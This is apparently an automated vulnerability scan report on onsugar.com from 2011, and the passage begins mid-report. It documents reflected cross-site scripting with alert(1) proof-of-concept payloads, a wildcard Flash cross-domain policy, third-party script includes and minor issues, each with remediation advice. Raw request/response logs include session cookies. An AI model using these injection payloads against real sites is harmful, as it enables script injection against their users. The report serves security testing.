P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Connection: close
Date: Wed, 11 May 2011 15:04:53 GMT
Server: lighttpd/1.4.26
Content-Length: 7466

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=6035900&c3=&c4=www.onsugar.com/static/229d0"><script>alert(1)</script>e9e22b8b8d1&c5=&c6=&c15=b279dd1c3e7c7e4fda5213e209cce12f&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

1.8. http://www.onsugar.com/static/ck.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /static/ck.php

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc357"-alert(1)-"2c48c7ab5a8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /static/dc357"-alert(1)-"2c48c7ab5a8?nids[]=16415520&p= HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.tressugar.com/Cannes-Film-Festival-History-16415520
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web014-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=59plojbkpp0tsln0a0ipovkif4; expires=Fri, 03-Jun-2011 18:38:15 GMT; path=/
Set-Cookie: fg_locale=0; expires=Thu, 12-May-2011 15:04:55 GMT; path=/
Set-Cookie: client_locale=US; expires=Thu, 12-May-2011 15:04:55 GMT; path=/
Set-Cookie: ss1=0%7C1307126295%7CiO7EITROhb0WVg%2Fd9l7HnOuO4HzoghkyFqvkjT4HhDBWlg9%2FwZ5iWWNCeCt7OSz2QZ3j5y5%2FyOqj03KTr7MTTS7y5oiM8VzZdx3j8ag9wIb0R1baoTAcZDMaDZGlHnA5DoqM%2F2cGGTESosAj%2F%2FW49foEq0d6E8Gy5OsjsK7dNR6zEI8lDqMg1hVOb%2BquKWj3TEHAHkETIY9MaAEs0xW2oQ%3D%3D%7C9426103a678f8ff0333018181203e92f81f806ee; expires=Fri, 03-Jun-2011 18:38:15 GMT; path=/; httponly
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Connection: close
Date: Wed, 11 May 2011 15:04:55 GMT
Server: lighttpd/1.4.26
Content-Length: 7361

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<script>
var comscoreHash = "c203779e426810a8a1f9e69c6f130742";
COMSCORE.beacon({
c1:2,
c2:6035900,
c3:"",
c4:"www.onsugar.com/static/dc357"-alert(1)-"2c48c7ab5a8",
c5:"",
c6:"",
c15:comscoreHash
});
</script>
...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.onsugar.com

Response

HTTP/1.0 200 OK
X-Sugar-Origin-Server: sugar-prod-web017-lax1.int.sugarinc.com
Content-Type: text/xml
Accept-Ranges: bytes
Last-Modified: Wed, 28 Apr 2010 20:15:15 GMT
Content-Length: 268
Connection: close
Date: Wed, 11 May 2011 15:04:27 GMT
Server: lighttpd/1.4.26

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

3. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://www.onsugar.com/h  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /h

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /h HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __qca=P0-2101631248-1305130894062; PHPSESSID=h0tvqqfbnjb20uhccitrdjhpm0; fg_locale=0; client_locale=US; ss1=0%7C1307131319%7Cu9kywujrs7f2USFXqLmGkifVcyewZxURNAYIqXW27PKRFuGPAWAY%2Fk43r2QLFjwbkKctvb5xpD3WhK4QQlS5%2Few3X0F17Ypu2Eq%2FQWt1oiIUL7ub5qE5c6VZu3JiyKqaJr%2BVd8tlg1ko0C7SHdD8kKgz%2FCN0DlCXbtAM5b%2BC9UFdoU4Wnm4MshyntsgEjBFzo3gfkSSlOPfZ4vO%2BpzRTCQ%3D%3D%7C6e074a7bdc4a9267bec600ad48b032b9bfa8e943; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.10.10.1305130894; base_domain_8f072b21dbdc4e39c5d76aad0538c9d6=onsugar.com; fbsetting_8f072b21dbdc4e39c5d76aad0538c9d6=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; ss2=6

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web018-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307131340%7CFjdUL9Ggs3ybDOvxAABYeN7BSS6iWIC4xH3G3Tx8Zcxsvyj7%2F72nqTFrup3E%2FCb7MePmVTO3dXepC%2FMTx%2BHFy%2FdRZPBSWYxZnNaY9M2tGU3gXL%2Bzykzbq59tgxDxo0RWdZlTrmEOGJkFQValB2xoeM6Bqx%2BRuRG%2F%2B%2FxGZEtyIRLTJiCRWdUsAKRjc%2BQF9aNOtPwkTP7%2F3c%2F4EJI%2BkKKgpA%3D%3D%7Cd817e71bbea52e613c2eaa2cb3a85bf994f82cc1; expires=Fri, 03-Jun-2011 20:02:20 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:29:00 GMT
Server: lighttpd/1.4.26
Content-Length: 7010

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<meta http-equiv="X-UA-Compatible" content="IE=7"/>
<script src="//ajax.googleapis.com/ajax/libs/prototype/1.6.1.0/prototype.js" type="text/javascript"></script>
<script src="//ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js" type="text/javascript"></script>
...[SNIP]...
<!-- Start Quantcast tag -->
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
...[SNIP]...
</div>
<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" type="text/javascript"></script>
...[SNIP]...

3.2. http://www.onsugar.com/help  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /help

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /help HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.onsugar.com/modules/facebook_connect/222e2%22%3E%3Cscript%3Ealert(1)%3C/script%3E9c7f3b8ba3b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __qca=P0-2101631248-1305130894062; PHPSESSID=h0tvqqfbnjb20uhccitrdjhpm0; fg_locale=0; client_locale=US; ss1=0%7C1307130920%7CO5w6vi1clyabB04ICi5NDkE2Bi7U3mPLr3eM8iaMhNtBaIS8xmdjdtRIjcemyY21UtfNJVfJF8POMS4LM8u44TZxaL8%2Bsq9FRucsaLd6d6uBpAEiTtTvi%2FwvXdMMzmbUzcBmJ%2BGwqYpIQ5EXkKOLZLcP%2F3uskzsFuUwRmAm%2FpzMUwX5njjyzM6dWLWxPWjXxpPnTwmkBSK9gQIqCb9uyUw%3D%3D%7Cafddbd348226d90723203ba0380a05a4fddb2354; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.8.10.1305130894; base_domain_8f072b21dbdc4e39c5d76aad0538c9d6=onsugar.com; fbsetting_8f072b21dbdc4e39c5d76aad0538c9d6=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; ss2=2

Response

HTTP/1.1 200 OK
X-Sugar-Origin-Server: sugar-prod-web016-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307131320%7CdfUDBwASGVeaBev%2FSfpp501iv1YWUhGztjeKgWfxRODemf5Yqhw9pfm1xBiw4rjIznseg2vhxXuSIur6Qvni7eWQ2IFJlGaOfvWt4DFIi7K5cSAI8m52pcaSqsvkfikA%2FVL%2F3I1ZJy%2B3S36bK%2FPQPCZHhFcZLKuWYhlYbDkBlQpx2DkM6q1hzH3QhIRvQW6%2B0ZC9bhLD9O9pTkWiVKWjIQ%3D%3D%7Cb3624c6181d809da7696fda7b03609fcec822fbe; expires=Fri, 03-Jun-2011 20:02:00 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:28:40 GMT
Server: lighttpd/1.4.26
Content-Length: 7637

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<meta http-equiv="X-UA-Compatible" content="IE=7"/>
<script src="//ajax.googleapis.com/ajax/libs/prototype/1.6.1.0/prototype.js" type="text/javascript"></script>
<script src="//ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js" type="text/javascript"></script>
...[SNIP]...
<!-- Start Quantcast tag -->
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
...[SNIP]...
</div>
<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" type="text/javascript"></script>
...[SNIP]...

3.3. http://www.onsugar.com/modules/facebook_connect/xd_receiver.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /modules/facebook_connect/xd_receiver.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /modules/facebook_connect/xd_receiver.php HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/extern/login_status.php?api_key=8f072b21dbdc4e39c5d76aad0538c9d6&extern=0&channel=http%3A%2F%2Fwww.onsugar.com%2Fmodules%2Ffacebook_connect%2Fxd_receiver.php&locale=en_US
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=v02tdi2s0fkd3258jm1dfhrd01; fg_locale=0; client_locale=US; ss1=0%7C1307130876%7CD16skBAgGJOXuPd870AXCzaIkY%2B80xd90qE6Rvb9Q45j2zk9L4ynyBNKCc%2BHx1MYPCl2KMh1wssunL7%2B5%2BvIHp0UvcwyaGr%2FGluMqNRDgPT6YXtJobuhCYwkwTr9xPNtFOL4h%2BKLcc6PEqYOoxS3T9%2F%2B2lrwvSDcDQalddp4i%2BUkf0%2F0OkcP61jW%2B1YH8Fx0gdbotK1%2B7jhU62aGprhL3A%3D%3D%7C58dd2b04f819d130e837691aff0cf0908417cc2f; __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.2.10.1305130894; __qca=P0-2101631248-1305130894062; ss2=2

Response

HTTP/1.1 200 OK
X-Sugar-Origin-Server: sugar-prod-web014-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=225065900
Expires:
Pragma:
Vary:
Vary: Accept-Encoding
Content-type: text/html
Connection: close
Date: Wed, 11 May 2011 16:21:39 GMT
Server: lighttpd/1.4.26
Content-Length: 636


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml
...[SNIP]...
XD) receiver page. It needs to be placed on your domain so that the Javascript
library can communicate within the iframe permission model. Put it here:

http://www.example.com/xd_receiver.php
-->

<script src='http://static.ak.connect.facebook.com/js/api_lib/v0.4/XdCommReceiver.js' type='text/javascript'></script>
...[SNIP]...

4. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /static/ck.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.onsugar.com

Response

HTTP/1.0 200 OK
X-Sugar-Origin-Server: sugar-prod-web014-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=c8kg3r54l6gagc6aq9roputom7; expires=Fri, 03-Jun-2011 18:37:47 GMT; path=/
Set-Cookie: fg_locale=0; expires=Thu, 12-May-2011 15:04:27 GMT; path=/
Set-Cookie: client_locale=US; expires=Thu, 12-May-2011 15:04:27 GMT; path=/
Set-Cookie: ss1=0%7C1307126267%7C415Fvqk80gVCJkh35k%2BbXfkWej5xw8L3dlBNO%2Bf0AewzGv0bk68k94xkq8ws1BQwe%2BQmlsbxRHVMunP1LkOP6f8xrNK1FdVGlLb9DS%2FkTPlGttuYwm9Lb03m8cN3ruLXR1SLpk8cu3kKGllxtcWxZyDPJGAOkowL03YGq4c4RVOzNnPss7j3XnatfWSHl1bmhQSXzrXmblS%2FckEQYlzcUA%3D%3D%7Cc2a0d761c280107eea6b2e17ade57dc42dbde3cc; expires=Fri, 03-Jun-2011 18:37:47 GMT; path=/; httponly
Content-type: text/plain
Connection: close
Date: Wed, 11 May 2011 15:04:27 GMT
Server: lighttpd/1.4.26

User-agent: *
Disallow: /

5. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /modules/facebook_connect/xd_receiver.php

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /modules/facebook_connect/xd_receiver.php HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/extern/login_status.php?api_key=8f072b21dbdc4e39c5d76aad0538c9d6&extern=0&channel=http%3A%2F%2Fwww.onsugar.com%2Fmodules%2Ffacebook_connect%2Fxd_receiver.php&locale=en_US
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=v02tdi2s0fkd3258jm1dfhrd01; fg_locale=0; client_locale=US; ss1=0%7C1307130876%7CD16skBAgGJOXuPd870AXCzaIkY%2B80xd90qE6Rvb9Q45j2zk9L4ynyBNKCc%2BHx1MYPCl2KMh1wssunL7%2B5%2BvIHp0UvcwyaGr%2FGluMqNRDgPT6YXtJobuhCYwkwTr9xPNtFOL4h%2BKLcc6PEqYOoxS3T9%2F%2B2lrwvSDcDQalddp4i%2BUkf0%2F0OkcP61jW%2B1YH8Fx0gdbotK1%2B7jhU62aGprhL3A%3D%3D%7C58dd2b04f819d130e837691aff0cf0908417cc2f; __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.2.10.1305130894; __qca=P0-2101631248-1305130894062; ss2=2

Response

HTTP/1.1 200 OK
X-Sugar-Origin-Server: sugar-prod-web014-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=225065900
Expires:
Pragma:
Vary:
Vary: Accept-Encoding
Content-type: text/html
Connection: close
Date: Wed, 11 May 2011 16:21:39 GMT
Server: lighttpd/1.4.26
Content-Length: 636


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml
...[SNIP]...

Report generated by XSS.CX at Wed May 11 11:46:50 CDT 2011.